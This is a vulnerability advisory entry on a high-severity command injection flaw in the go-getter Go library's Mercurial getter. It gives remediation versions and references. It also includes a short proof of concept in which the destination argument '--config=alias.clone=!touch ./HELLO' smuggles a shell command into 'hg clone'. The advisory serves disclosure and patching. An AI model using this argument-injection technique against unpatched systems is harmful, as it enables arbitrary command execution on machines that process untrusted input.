VDB

SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223

SNYK-GOLANG-GITHUBCOMHASHICORPGOGETTER-2421223 PUBLISHED CVSS 8.100000381469727 HIGH

## Overview [github.com/hashicorp/go-getter](https://pkg.go.dev/github.com/hashicorp/go-getter/v2) is a Package for downloading things from a string URL using a variety of protocols. Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the `new(gogetter.HgGetter).get()` function, the `dst` parameter is passed to the `hg clone` command in a way that additional flags can be set. The additional flags can be used to perform a command injection. ## PoC ```go package main import ( gogetter "github.com/hashicorp/go-getter" "net/url" ) func main(){ g := new(gogetter.HgGetter) rawURL := "someurl" u, _ := url.Parse(rawURL) dst := "--config=alias.clone=!touch ./HELLO" g.Get(dst, u) } ``` ## Remediation Upgrade `github.com/hashicorp/go-getter` to version 1.6.1, 2.1.0 or higher. ## References - [GitHub Commit](https://github.com/hashicorp/go-getter/commit/38e97387488f5439616be60874979433a12edb48) - [HashiCorp Discuss](https://discuss.hashicorp.com/t/hcsec-2022-13-multiple-vulnerabilities-in-go-getter-library/39930)

Risk Scores

CVSS 3.1
8.100000381469727
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P

Affected Products

VendorProductVersions
0

Timeline

  • Mar 11, 2022 CVE Updated
  • May 25, 2022 CVE Published
Open in Interactive Console →
$ Console Community · 100/wk Open console ›